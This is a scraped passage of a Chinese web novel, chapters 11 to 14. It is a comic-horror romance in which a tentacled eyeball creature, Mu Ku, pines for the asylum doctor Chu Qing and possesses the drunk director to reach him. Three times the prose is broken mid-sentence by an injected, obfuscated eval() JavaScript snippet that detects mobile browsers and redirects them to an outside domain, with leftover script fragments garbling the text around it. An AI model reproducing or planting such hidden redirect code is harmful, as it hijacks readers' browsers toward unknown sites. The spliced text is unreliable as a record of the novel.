想来按照王的伤口恢复速度,一晚上足够恢复如初了。 楚青想着多少就放肆一下,也就没拒绝,喝了三四杯后,酒精成功上了脸。 在橘色灯光下,他脸上的那抹坨红,乃至眼底朦胧的雾气就更显得醉人,这让趴在天花板上的沐枯看得牙痒痒。 它拼命想伸长自己,以便看个仔细时,又是一不留神,咕咚一声,准确无误的落入楚青正放置在自己唇边的酒杯中。 楚青在看到自己杯子里掉进去的东西后,缓缓眯起眼睛,在酒精影响下,他的咬字显得有些软糯,不似平常的矜贵清冷。 “沐……枯?” 11. 第 11 章 不过短短几秒,沐枯的瞳孔一下子扩张了好几倍,在它身后,视神经,也可被称为触手的东西在难耐的蠕动着,搅和得酒水都泛起一层白沫来。 在触手上面的吸盘更是情不自禁的一张一缩着,它尽量止住自己仍在往上攀升的激动与喜悦,潜藏在眼睛深处的毛细血管险些炸开。 眼看着楚青粉嫩嘴唇近在咫尺,沐枯几乎兴奋的快要炸开,瞳孔颜色逐渐变为血红,现在随着与楚青距离的拉近,颜色还在加深。 它想说出深情的告白来应对,但身在酒水里,出口的话全部变成了“咕噜咕噜”的喝水声。 这副场景在楚青看来尤其好笑,但他有些醉了,没太能稳住一贯的高冷,现在不伦是眼尾勾起的弧度,还是波光粼粼的水润眼睛,都让沐枯萌生出一种想将他吃掉的想法。 这双眼睛真好看啊,好看到想叫人从他眼眶取下来,泡在能减缓腐烂溃败的药水里,封好瓶盖,日日放在手边把玩欣赏。 就是不知吃起来是个什么味道,口感应当是好的,因为单是从外表看起来就能感到放置在口腔里的嚼劲一定差不到哪里去。 吃掉…… 沐枯痴迷的想着,好想吃掉…… 它哪怕疯狂压制,还是止不住念头的滋生疯长。 要是真的吃掉后,没准妈妈就能真正属于它了。 但它只是一颗眼球,最多不过攀爬到沐枯白皙精致的锁骨上,用吸盘中的细密牙齿跟倒刺吸附上去,印下一个独属于爱人间的烙印。 它喜滋滋的想着,这样好像……也差不到哪里去。 楚青在唇边即将触碰到杯口时,被从人群中冲出来的王杰撞了个满怀,他险些没握住手中的酒杯,即便最后还是小心稳住了,但依旧有些酒水撒了出去。 杯中的沐枯眼疾手快,在杯口倾倒时,死死用吸盘吸附在杯壁上,逃过了这么一劫。 它现在真的很想骂人,但杯子外的王杰已经醉得站都站不稳了,意识朦胧又混沌,压根听不到它说了什么。 楚青也没好到哪里去,但他好歹还残存着一抹意识,还不至于那么狼狈:“你怎么……来了?” 王杰打了个酒嗝,不似常人般的四肢将楚青一手环抱在了怀里,可能是他抱得过紧,甚至能听见骨头摩擦碰撞时才会发出的咔哒声。 “咔哒咔哒——” 手指的皮肤枯黄松弛,抱着人时楚青能感到皮肤底下没几两肉,就像骨骼披了一张人皮。 王杰只要一笑起来,脸上的五官就开始乱飞,仿佛只要再做个大的表情,眼球就能从眼眶里掉下来似的。 楚青将他从自己身上缓缓推开:“你妈允许你喝酒?” “不允许啊,”王杰张大嘴巴,牙齿乱晃的同时又在咯吱作响:“但只要我避开她,在她喝醉之后自己再喝,她是发现不了我的。” 但他好像不太喜欢谈论有关自己母亲的话题,这会让他觉得自己还处于母亲的管控之中,王杰抿起嘴唇道:“我们换个话题,换一个好不好?” “好,”楚青扶着额头欣然答应:“那就谈谈你这次会被你母亲禁足几天?” 王燕的禁足可不是单单关小黑屋这么简单,他会被自己的母亲当作可折叠椅子似的掰折折叠起来,最终成为一个四方块扁平状物体,而到达这种程度后,王燕会从衣柜里挑选出一个心仪衣架,将自己的儿子用衣架勾起,挂在衣柜中。 这样的绝望一旦开始就是三天起步,他迫于母亲的威压,压根不敢在中途偷摸离开柜子。 更别提他母亲经常用来梳头的镜子就在柜子对面,那个时期,只要他妈妈一背对着他在镜子面前梳头,他就总感觉乌黑发丝中有一颗隐匿在其中的眼球在看他。 王杰因为楚青这一句话被吓得酒都醒了一半:“完了完了,如果妈妈知道我偷喝酒的话,她会惩罚我的,我不要被惩罚……” 楚青被他揪住自己的衣摆,还在不停左右摇晃的手臂晃得头晕:“你安分点,不然就别怪我也罚你了。” 王杰顿时不动了,他眼球在眼眶中滴溜溜的转了好几圈,瞳孔转进眼皮里后又在几秒内重新转了出来。 最终他选择了退而求其次:“那青青,你抱我一下好不好?” 他语气不带一丝起伏的,就像读课文那样似的,机械撒娇道:“抱一下,抱一下,就抱一下好不好?” 楚青说:“刚刚不是抱过了吗?” 王杰摇头:“那个不算,那个不算的,要青青主动的拥抱才好。” 楚青又问:“抱一下能让你妈妈原谅你吗?” “不能的,肯定不能的,”王杰咧开一嘴白牙:“青青好笨啊,喝酒之后怎么比我还要笨?” 楚青很不解风情道:“那你为什么还要我抱你?” 这可真是一个好问题,就连四周空气都寂静了好几秒。 王杰被成功震得嘟起了嘴巴,有那么一瞬间,因为楚青的回答,他居然有了想用指甲挠门的冲动。 但他是一个成熟的诡异,哪怕头颅跟脸都是不足十岁的孩童模样跟大小。 在稳住情绪后,他又重新开口道:“可是我喜欢青青哇,我想要青青抱我。” 说着,他想起这几天不断被楚青冷落跟惩罚的过往,眼泪刷的一下就流出来了。 “我有好几天没跟你拥抱了,青青,你是不是不喜欢我了?” 楚青:“……” 他真的很不喜欢应付一些流泪求哄的场景,眼球是,王杰也是。 但自从发现眼球沐枯醉奶后,楚青觉得只要它敢在自己面前闹,自己就敢端出牛奶来将其灌醉。 只不过现在…… 楚青看了看自己手中还所剩颇多酒水的杯子,觉得干脆直接塞王杰嘴边,将其一口气灌醉也不是不行。 他现在视线有些模糊,面前景物开始不断重影,在看到杯子中眼球的瞬间,他以为那是一颗枣,大红枣。 楚青带着残存不多的理智,智商卡壳的想:酒水里会有红枣吗?究竟是谁把红枣丢进来的? 那人真好……知道他喜欢吃甜的…… 但不过闭眼的功夫,等楚青想看个仔细时,杯子里再没见“红枣”的踪影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621987|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>楚青又凑近了些去看,依旧什么也没有,他脑袋略显昏沉的想着,又是幻觉吗? 王杰见楚青将注意力放在自己的酒杯上面好长时间,再加上他发现其眼中笼罩的雾气越来越多,知道楚青已经无法回应他的话了。 酒这种东西,只会越喝越上头,而且还会随着时间的推移而逐渐上头。 楚青就是这样的情况,刚开始还不觉得有什么,现在随着酒精不断上脸,他险些有些控制不住自己逐渐发散的意识。 最终还是王杰主动认输并抱了上来:“这次就算了,下一次记得要主动抱我啊。” 他话是这么说的,但手中抱过来的动作却一点不带停的。 但也不过是轻轻抱了一下,他便头也不回的重新挤进人群里了。 楚青强撑着最后一丝理智摸索着跑进了洗手间,用冷水冲洗一把脸色,才意识清醒了些,放缓步子朝自己的卧室走去。 至于还在活动室喝得四仰八叉的其他诡异,自有还保持着清醒的清洁工阿姨负责一个个抬回去。 只不过走在路上时,他感受到了强烈的被窥探感,就像是有什么人潜藏在暗处偷偷观察他似的,但这份窥探并不纯粹,楚青总觉得……里面似乎参杂了点怒火? 楚青想的专注,上楼梯时差点没一脚踏空,在扶住栏杆后,终于给自己晃了个清醒。 回头看去时,不管是被灯光照射到的地方,还是漆黑的暗处,什么也没有,楚青拧开门把,想,应当是自己想多了吧。 * 沐枯在看到楚青被拥抱时,第一反应是愤怒,是的,他相当愤怒,愤怒到想将自己的后槽牙给咬掉——如果他有牙齿的话。 “啪嗒——” 他又克制不住的掉起了眼泪。 他也好想抱一下妈妈啊,哪怕是一下也好。 但他打量起自己时,只看到了身后拖长的几道触手。 “呜呜呜,妈妈……” 它嫌弃起自己的外表来:“丑丑的,还好矮,呜呜呜,妈妈,妈妈不喜欢……” 但更重要的是它没有将楚青拥入怀中的能力,光是想到这一点,沐枯就嫉妒到发疯。 等他有了身体后,要做的第一件事就是将王杰绑起来丢进油锅里,如果日后但凡出现任何敢肖想的念头,那就从他身上用刀割下一大块肥肉来,直到再也生不出这样的心思才好。 沐枯在目送楚青离开后,兀自瘫在地面上哭了好一会儿。 突然,“咚”的一声,企图回房上楼的院长栽倒在了他的面前,他被惊的止住哭泣,闻到了来自于院长身上浓重的酒气。 在看见院长紧闭的眼皮后,沐枯终于生出了几分主意。 它记得自己上一次就是进入院长眼眶并顺利操纵起他的身体的。 那么这次也同样能行,它开心的想,它可以将院长原本的眼球挤出去,自己替代并操控这具身体去拥抱妈妈了。 他越想越觉得自己的这个方法妙极了。 “妈妈,”沐枯的触手欢呼舞动起来,他喃喃道:“记得在房间好好躺着等我。” 12. 第 12 章 月光照进室内,在墙面上切割成斑驳碎影,随着窗外树叶的晃动而摇摆不定。 走廊上地面的影子被拉得长长的,有一具不明物品在试图驯服四肢,每走两步都要停顿一下,速度如蜗牛爬行。 沐枯是顶着冲天的酒气进入院长身体的,而院长自己的意识因为醉酒酒昏昏沉沉的,不甚清醒,导致他夺取掌控身体掌控权时格外容易。 院长自己的眼珠也挺懂事,在沐枯刚用视神经将其眼皮挑开时,没用多大力气,就成功将眼珠撬了出来。 眼珠“咕唧”一下,连带着几丝血丝从眼眶里飞出来后,就滚进沙发底下难觅踪影了,还是沐枯好心,主动将眼球从里面捞了出来,视神经卷着放在桌面垫好的纸张上面。 单是他这一系列过程就耗费好大一番气力,爬上爬下的,如若不是他只有泪腺而没有汗腺,那么现在一定是大汗淋漓的,额头上的汗珠擦都擦不完。 现在进入是进去了,但是进展却并不是很顺利,因为沐枯不仅要忍受着来自于院长身体里散发出的浓重酒气,还要跟醉酒的人共用一道视野。 受院长身体的影响,沐枯感觉自己也快要醉了。 看这天花板,还有这地板砖,还有这门把手…… 沐枯用手扶住不知是哪个房间的房门驻足好一会儿,心想,这门把手长得真的挺门把手啊…… 他试图眯眼让涣散的瞳孔重新聚焦,两条大腿就跟癫痫发作似的不停抖动着,要不是留着这玩意儿还有用,沐枯就恨不得提刀给它们剁了。 甩完十分钟的脑袋后,沐枯才终于感受到了勉强回归一点儿的意识。 如若换成一般人,可能现在就要放弃抵抗了,可沐枯偏生是个不信邪的主。 结果又是没走两步,意外出现了,因为沐枯不知道被哪里来的东西绊得身形陡然一颤,身体因为惯性向前扑去,还好他及时转了个弯儿,一头扎在了门板上,勉强稳住了身形。 沐枯回头想要骂街时,发现——刚才绊倒的原因是因为左脚绊右脚。 沐枯:“……” 这种有气没处撒的境遇就挺让人难绷的。 但它是个意志力坚强的孩子,不管如何,只要一想起活动室中,楚青眼神迷离,被人圈在怀里时,他就总有使不完的牛劲儿。 都说没妈爱的孩子像根草,但沐枯觉得在楚青心里,自己连草都不如。 * 清洁工阿姨刚抬完酒鬼回到现场,在清点人物时,才发现少了一个院长。 她联想起院长一贯的酒量,知道这人一旦醉酒,别说动弹一下了,就连走步路都异常艰难,完全是席地而睡的典范。 为了院长的人身安全,她在送完那些醉得满地乱爬,四肢散乱的祖宗们后,才开始上楼去寻找院长的踪迹。 终于是在一扇房门前发现瘫倒在原地,面部朝地的院长的宽大身影。 而且院长还没放弃挣扎,依旧还在身残志坚的用一只手撑住地面,试图爬起来,可惜胳膊不给力,刚支起一半的身体又重重倒了回去。 他仍旧不肯死心,还在努力自救着,嘴里发出听不真切的嘟囔声音来…… 清洁工在走近后,才听清他嘟囔的到底是些什么。 “我在哪呢?我……” 沐枯已经被同化后醉的有些睁不开眼睛了。 清洁工毅然决然肩负起了将人送达卧室的责任,结果刚将人从地上拖起来,这人就像回光返照似的,腾地举起了双手,眼皮半拉不拉的。 “加油!你是最棒的!”声音响亮,掷地有声,看得出来有很认真的在给自己打气了。 她被惊得手一松,这人又一个踉跄摔回了地面,依旧是脸皮着地,狗刨式动作。 后者挥舞着肩膀,明显还没意识到即将到来的危机。 “妈妈,看!我会飞哎——” 然后就是惨痛落地声。 院长拍着胸口自我安慰:“没事哒,没准下一次就会了。” 清洁工:“……” 不知道是不是她的错觉,她感觉今晚的院长格外难缠。 刚将人扶起来,院长就极其自觉的往她身上倒,鼻尖煽动着,没嗅到令他满意的气味后,他瞬间就不乐意了。 “你好臭,好臭,你不是我妈妈,妈妈身上香香的,可好闻了。” 他不安起来,开始伸手将自己从清洁工怀里推搡出来:“我不要你,我要妈妈。” 沐枯醉得神智不清,他差一点就要情绪上头,泪洒现场了,意识到身边这人不是楚青后,他又生生憋了回去。 “我的眼泪只能是留给妈妈的,你个场外人你不配。” 不知道他究竟在闹哪样的清洁工额头已经开始冒出青筋来了:“别以为你是院长我就不敢扇你哦。” 她想到了口袋里还没用尽的针线:“如果你实在不会说话的话,我不介意将你的嘴巴缝合起来。” 清洁工说:“我有经验,看,我把自己的断掌缝合得严丝合缝的,相信将你的嘴巴完全堵起来不算难。” 沐枯嗅到了危机,立马用手掌捂住嘴巴道:“你坏,你是个坏人,我要妈妈,我不要你……” “啪——” 一巴掌下去后,世界成功清静了。 清洁工收回手,在他另一边并未红肿的脸上拍打两下,神色骇人:“现在可以安静回去了吗?” 沐枯点点头,刚飙出来的眼泪又委屈巴巴的收了回去。 “我不知道你身上哪里沾染来的来自于王的气息,但即便是王,也不能无理取闹。” * 楚青刚洗完澡,正打算擦干头发出来时,就听到了开门的声音。 开门的人显然没有很好的耐心,因为不消几秒,门就在一声沉闷声中被关上了。 可能是顾及到里面还有人,所以动静没有发的太大声,但楚青的感官何其敏锐,他一下就感受到了来人的不满。 他穿好衣服,擦干净头发出来时,酒已经醒了一半了。 卧室里的灯因为是被刚刚进来的人关上的,因为楚青走进洗澡间时,他很确信自己开了灯。 开关位置就在自己所睡觉的床头附近,但借着浴室里发出来的光,楚青一眼就扫到了自己床上盖着被子拱起来的一团。 那样的体积很明显钻里面的是个人。 关键是一边钻还一边蛄蛹着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621988|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还有笑声,压根就没停过。 “香香,香香的,是妈妈的味道~” “成功关灯了,我好棒好棒。” “喜欢,喜欢,吃掉,摸摸,睡觉……” 楚青:“……” 他怀疑自己遇到了变*态。 但变* 态真的会从正门就这么大摇大摆的进来吗? 楚青不太相信,而且还钻的这么顺畅,他是怎么确定自己钻的就一定是他的床呢。 这个答案估计要等到看清躺在他床上的人的全貌后,才能给出一个确切答案来。 最好的方法就是开灯。 但在楚青即将摸到开关时,床上那人就好像自带定位似的,准确无误的从被子里探出一只手来抓住他的胳膊。 “不开灯,要休息,你坏。” 楚青闻到了这人身上的酒气,试图将自己的胳膊抽出来:“你知道你是在干什么吗?” “我在干什么……”被子里的人陷入了沉思。 “对啊,我 ……我究竟在干什么呢?” 沐枯裹着被子不动了,他脑子卡壳了好几秒:“香喷喷,我来找香喷喷的 ……” 楚青只觉好笑:“我见过很多睡觉睡懵的,还没见过团伙作案还能找床找懵的。” “她不是我的团伙……” 被子里人的声音比较小,楚青什么也没听清:“什么?” 沐枯敲着脑壳,声音大了些:“她只是一个陌生人,不,坏蛋,大坏蛋,她想试图拆散我们……” 楚青:“……” 这都什么跟什么啊,懵的还这么彻底? “行吧,”他活动两下手腕:“你不走我走总行了吧,我记得还有一床备用的被子,放在……” “不!不走!” 被子里的人突然激动起来。 楚青回头去看,床上还是黑色的一团,依旧裹得严实到看不见长相,只不过从蛄蛹状变成了站立形态。 “所以?”楚青说:“给我一个留下来的理由或者让我看看你的真实长相也行。” 理……由? 沐枯脑袋迟钝的想:“味道,你身上有妈妈的味道。” 他将刚才抓住楚青胳膊的那只手掌从被子里面探出来:“我闻到了,闻到了的,你骗不了我的。” 沐枯的尾音得意的往上翘起。 “还有……什么来着?”沐枯说,“长相的话,不能给你看,不能!” 他斩钉截铁道:“我丑丑的,不喜欢……” 楚青:“???” 所以他为什么要试图跟一个烂醉如泥的人讲道理。 “是妈妈的床,对,就是妈妈,妈妈的味道,香香,我的,不跑。” 楚青想,果然是变*态吧。 “对了对了,”沐枯终于在混沌中想起自己要做的事情来,他一下子从床上跳起来,披着被单扑向楚青那里,几乎是弹射起步。 “要抱,要抱抱,不准跑。” 千钧一发之际,楚青手急眼快的一巴掌扇了上去,对准的是他估摸出来的脸的位置。 被扇飞出来的,在地面上滚了好大一圈的沐枯:“咪?” 13. 第 13 章 灯开后,看到面前地上躺着的,脑壳上针线崩了一半,还在往外汩汩流脑浆,脸色惨白,处于醉生梦死阶段的院长后,楚青有那么一丝想要报警的想法。 被子只盖了下半身,能刚好将他的脸完整露出来。 问:上司借着醉酒的名义试图骚扰员工,还企图霸王硬上弓,这种类型的到底该判几年? 答:强制猥*亵可处五年以下有期徒刑或拘役,若情节恶劣处五年以上有期徒刑。 楚青看得想当场报警。 但他又看了看睡得跟死猪似的院长,有点怀疑他跟刚刚试图发疯拥抱他的是不是一个人。 他蹲下身子伸手戳了院长一下:“洪洪?” * “洪洪”是院长的小名,院长大名叫王洪,小名还是楚青从病友聊八卦时套出来的,护士小姐说起他的小名时嘴巴都咧开到了耳根子后,是小心翼翼地凑近他的耳边讲的。 “楚医生,你是知道的,我们院长之前养了一条黄狗,是我们一致商量取名叫的洪洪,至于具体含义……我想您应当是知道的。” “只不过有次有人喊院长时不小心喊成了洪洪,院长才明白对狗的称呼是基于自己的小名,那时候可是发了好大一场脾气呢,现在打死都不愿意接受这个小名称呼。” 楚青记得那条狗,它的半边身子已然腐败,露出了皮肉底下的森森白骨,嘴巴里的尖牙缺失了半边,像是被刀具整齐砍下来的,刚开始楚青见它时,它走路还会咯吱咯吱的晃。 可能因为太瘦,走起路来骨头架子总容易碰撞到一起。 院长总是说要将它养胖一些,然后就将自己的手指往黄狗的嘴边去送。 黄狗也是个忠心的,它总是不咬,还会将头扭向一边,自己心情好时,或见到院长不开心时,总会拿头去蹭院长的手心。 哪怕它的头秃了一大块,毛发摸起来也是硬硬的,院长依旧很喜欢它。 病院里面的其他人也很喜欢它,就比如护士小姐,她会精心准备一大锅炖汤出来单独投喂它。 炖汤里总有一些眼球配菜跟上下沉浮的手指头,有的指甲秃了,有的还是白嫩嫩的。 护士小姐说这是洪洪最喜欢喝的汤了。 后来又是怎么没的呢? 楚青记得那天正值深夜,他正打算关门时,门外刚好站了一个人。 她不敲门,也不说话,就这么不声不响的在外面站在,身上全是雨水跟血水,顺着被刨开的肚子淅淅沥沥的滴下来,同样血肉模糊,不敢直视的还有双脚。 楚青清楚的记得,她肚子外,还有半截垂坠出来的大肠,还有脐带,那上面应该连接了一个浑身是血的婴孩。 “救救我,”女人流着血泪说道:“也救救我的孩子。” 楚青开门将她迎进来:“好。” 通宵一晚上后,楚青将女人的孩子接了出来,放置在了摇篮里——他觉得它已经死透了,完全没有任何需要救治的必要。 而女人在昏迷后,楚青亲自操刀将她的内脏一个个塞了回去,并将她的肚子缝合完全。 但在检查时,他发现某一瞬间,女人的心脏突然暂停,但又是在几个小时过后,女人睁开眼睛,心脏重新恢复了跳动。 她抓着楚青的衣摆紧张的问:“医生,我的孩子呢?” 为了安抚她的情绪,楚青并没有说出实情,他让女人好好养伤,告诉她孩子在一旁的房间摇篮里好好待着呢。 女人松开手,重新闭上了眼:“那就好,那就好。” 但在楚青思考着要如何处理死婴尸体时,摇篮里只留下了一大滩子血迹,是新鲜的,还未干涸。 地面上同样有一道长长的的呈现拖拽型的血痕,他顺着血迹找寻时,终于在一间杂物间找到了婴孩的踪迹。 只见他坐在血泊中,拿着不知从哪里得来的肉块,咯吱咯吱的啃着。 他啃得并不顺利,因为他还没长牙齿,但吃得却依旧很香。 在他不远处,躺到着一具体积不大的白骨,黄狗爱玩的小黄球沾了血,骨碌碌的滚到楚青脚边。 楚青立马意识到了什么,他没敢开灯。 他在幻觉中见识到了许多血腥场景,按理来说他是不怕这些的,不——他本就不怕,只是无法接受黄狗死亡的事实。 彼时正处于清晨,他的病友们还在呼呼大睡着,完全没人察觉到一条生命的流逝。 等院长王洪醒来后,他很平静的将狗埋到了土里。 对于他来说,高级诡异吃掉低级诡异补充所需的营养是再正常不过的事,但他却接受不了爱宠死去的痛苦。 那天,婴孩的腿差点被折断。 楚青打开手机,里面播放着最新新闻。 “近期**路段发生一起严重车祸,经检查行车记录仪跟调查发现是一对情侣出门旅游不小心在该路段打滑发生的祸端,现如今虽未找到女生尸体,但经法医判断根本不可能存在生还的可能……” 但在楚青听来,就是一条报道意外的新闻,具体路段名称跟事故发生对象被全部抹去,甚至在他眼里,原本被刻意放大的人物清晰正脸照成了迷糊的马赛克。 发生意外的路况距离青山精神病院几乎有十来公里的路程,没人相信一个大活人会在不乘坐任何交通工具,徒步的前提下走到这里。 昨晚的雨下的又急又大,冲刷掉了女人来时流淌下来的血迹。 自从病历本将女人的名字写下并烙印上相应编号后,就注定了这终归是一条只来不回的不归路。 * 楚青为了试图激发院长的怒火,贴着他耳朵叫了好几声,都没回应。 院长睡得过于香甜沉寂,甚至连眉头都没皱一下。 再对于刚刚这人发出的死动静,这就很耐人寻味了。 他怀疑这人是在装睡,试图掩盖自己犯罪的事实,但经过不下三次的确认后,楚青只能被迫接受这人就是睡死了的事实。 在院长睁大空洞的眼眶中,楚青突然嗅到了同谋的气息。 如果他记忆没出错的话,他记得沐枯曾经通过钻进院长的眼眶里面以便达到操控其人的目的。 而院长刚刚钻进被子时,所说的话又无限接近于沐枯的说话方式,这很难让楚青不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621989|172294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信,有他在背后搞鬼。 但大眼一扫四周后,他又没看到沐枯的任何踪迹,楚青还尝试将其叫出来,喊了两三遍后,并未听到任何回应,甚至连哭声都没听见。 楚青最终没再接着喊下去,他去锁了卧室房间的门,又去洗手间洗了把手。 眼见时间不早了,楚青也没再去管,毕竟沐枯那么小的体型,谅它也干不出什么过分的事来,毕竟体型不允许。 他跑去将备用床单拿回来后,迅速将院长躺过的床单换下,一扔洗衣篓里,打算等天晴再洗。 接着又将院长扶上床后,他才准备躺床睡觉。 但在楚青看到院长空洞眼眶后,还是生出一些恻隐之心来:“院长,你知道你眼珠掉哪里了吗?” 院长的睡眠质量实在感人,楚青等了好一会儿,只收获到了睡熟的细微鼾声。 “呼呼——” 但鉴于他刚才的行为操作,楚青还是不太放心跟他共处一室,他从柜子里摸出一条长腰带,顺势将院长一只手捆绑在了床头上。 做完这一切后,他满意看着自己的杰作,用手机拍摄两张照片后,才终于肯上床睡觉。 可能是近期发生跟处理的事情太多,楚青难得生出了些疲惫感,很快便坠入了梦乡。 * 床底下,终于摆脱院长醉酒影响,意识恢复清明的沐枯恨不得咬着帕子,骂自己不争气——如果他有牙齿的话。 他不敢跑出去,又怕楚青再来个回马枪趴床底找到他,只能默默缩在墙角边缘,试图将自己与夜色融为一体。 过了好久,在听到床上传来的轻微呼吸声后,沐枯才敢从床底钻出来,哼哧哼哧的挪到触手爬至床头柜上,心里心酸不已,一眨也不眨的看着楚青无声哭泣。 “妈妈……呜呜呜……” 它将自己能驱动的,能环住东西的触手在半空中晃了又晃,怒其不争。 “抱……抱不了……” “笨笨……笨笨……” “呜呜呜呜……” 在黑暗中,它哭得正欢时,眼尖留意到了楚青颤动的眼睫。 自己是不是吵到妈妈休息了? 呜呜呜…… 我好笨好笨,又好丑,妈妈……妈妈果然嫌弃我…… 楚青那一巴掌扇得可谓是下了死手,沐枯只要一想到这个,眼泪就止不住的流,就像一个永不停机的造泪机器,身上的绒毛被打湿完全,黏腻腻的粘连在了一起。 它好疼,好疼的。 身上也沾了不少灰尘,会……会更丑的,妈妈会更加不喜欢它的…… 它呜呜了十几秒,见到楚青眼皮颤了下后,尽力将自己的声音放轻,哭得更加小声了。 它哭得又凶又急,没个几分钟,自己身下就汇聚了不少眼泪。 眼见眼泪越聚越多,就快从桌上淌下去时,沐枯快速用视神经抽出几张纸巾放上去。 但比起擦干净眼泪,它的流速显然更快更凶,根本擦不完。 床铺上,楚青似乎察觉到了什么,垂在一旁的手指突然动了下,显然有了快要醒来的征兆。 14. 第 14 章 沐枯注意到了,他就跟个雕塑似的立在了原地,是一点也不敢再动了。 床铺上再度传来轻微的动静,窸窸窣窣的,就像蚂蚁在上面爬行所发出来的。 沐枯慢悠悠的,放缓动作将自己滚到了桌子上的摆件后面,而刚好右边就是跟他缘分不浅的杯子。 他现在对于这个杯子的感觉算不上恨,但绝对心里算不得有多舒服,若不是牛奶的香味刺激到了他的嗅觉跟感官,让他不分青红皂白就敢往里冲,否则绝对不该是今天这般下场。 他现在被洁厕灵刺激烫伤的皮肤还没好全,也幸亏卧室放床的地方没有镜子,要不然他能眼泪直飙二里地。 人类总说男子汉大丈夫不能随意哭泣,但没关系,它又不是人类,而且它就算身为诡异,却连个手脚都没有,哭一下子怎么了,这个世道还不允许残疾人发声了吗。 * 楚青刚被刺眼的太阳光一晃,身上就好像甩掉了什么东西似的,有关他为什么这么清楚是因为那东西在被它甩飞出去之前曾经碰到过他的下巴,激起了他半个胳膊的鸡皮疙瘩。 他本想睁开眼睛去床下一探究竟的,但他太困了,闹钟响了一分钟愣是没将他从床上捞起来。 楚青只是烦躁的将头更坚定的埋在了枕头里面。 这个清晨唯一的受害者无疑是沐枯了。 窗户外的枝丫上停留了一些鸟雀,叽叽喳喳的叫着,如若在往常听来,大概是一种午后享受,但落在刚刚被楚青甩下床的沐枯听来,那完全是一种嘲笑。 他眼睛里闪出凶光,几根触手不停在冲着窗外的鸟雀挥舞并比比画画着,翻译过来大概就是若是你们敢说出去,就死定了的意思。 鸟雀并没感受到任何威胁,看向沐枯的眼神约莫于跳梁小丑,最后干脆眼不见心不烦,转过身去,撅着个大腚对着屋里龇牙咧嘴,恨不得活剥它们的某位。 院长偷摸在床上装睡看了半天,实在没想到自家王上会因为被甩跟不相干的鸟雀撒气。 最终没忍住,将被子盖过头顶,“噗嗤”笑出了声。 但在翻身时受了阻碍,因为不知是哪个神人将他的右手用皮带绑在了床头。 绑得还挺结实,王洪试图暴力执法,但一时半会儿还真拿它没办法。 为了避免引起注意,王洪没管,就这么将就着进了被子里。 等再掀开被子时,王没了踪迹,他不敢贸然从床上起身,只敢偷摸转身找寻沐枯的具体位置。 正找得起劲时,突然感到头顶猛然一痛,院长王洪发现枕头上晕染出大片献血。 他绕着自己头顶的针线摸了一圈,终于在针线松动的位置成功摸到了一手献血。 他现在觉得自己很有必要将转给护士小姐,请求帮忙缝合头颅的八百八十八块钱要回来。 缝合的一点也不专业,才睡了不到两晚上就松动了。 幸亏护士小姐没有在网上开店,因为谁也无法估量一个愤怒的,遭受欺骗的男人能一口气刷多少条恶评。 有时候恨比爱长久。 但在他拿出手机,不小心点到相机,清晰看到此刻就趴在他头顶的沐枯后,王洪整个人都不好了。 待在王身边多年的修养与直觉告诉他,王不一定会弄死他,但会折磨得他生不如死。 毕竟沐枯在还具有完整身体那会儿,就已经养成了会将仇人的闹钟从早上八点调到凌晨四点,拐跑别家宠物的“恶习”,王洪敢打保票,自己头上崩开的针线百分之百是出自沐枯之手。 沐枯还嫌弃他的血脏,甚至在干完坏事后还不忘用王洪的床单将它身上沾染的血渍擦拭干净。 王洪立马关了摄像,不敢再多看上一眼,因为再过一秒,自己就要隔着屏幕跟活要咒死人的眼神的沐枯对视上了。 三分钟后,王洪对着沐枯现场编造他的忏悔词。 “你是电,你是光,你是唯一的神话。” 后面的歌词他死死堵在了喉咙里,因为“我只爱你”这句话更适合在老板上司的葬礼上说。 没人会爱上压榨自己的老板,除非他是榨汁机。 榨汁机可能也不是很爱,因为他更爱电。 果不其然,下一秒,沐枯就暴露了它身为上司的压榨本质。 触手在半空做勾手状示意他将头伸过去,然后又找准时机,啪唧一下将触手当作鞭子甩王洪脸上。 王洪脸上的红印子因为死人专有肤色而格外显眼。 沐枯满意了:“你,把水放好,我要洗澡。” 王洪闻到了他身上的味道,跟他身上的酒臭味形成了鲜明对比。 “王应当是洗过了吧,看上去像是刚洗没多久。” 他话没说完,脸上愣是又埃上了一鞭子。 沐枯打死都不愿承认自己昨晚哭到哭无可哭后,为了爬上楚青的床又不遭人嫌弃,便偷偷去给自己洗了遍澡。 现在为了教训某人,被酒精味道包裹得他很不满。 “让你去你就去,哪里来这么多废话。” 王洪起身了一半后没再起来,他很无奈的看向自己被绑起来的那只手,同样怒其不争的眼神落在了沐枯身上。 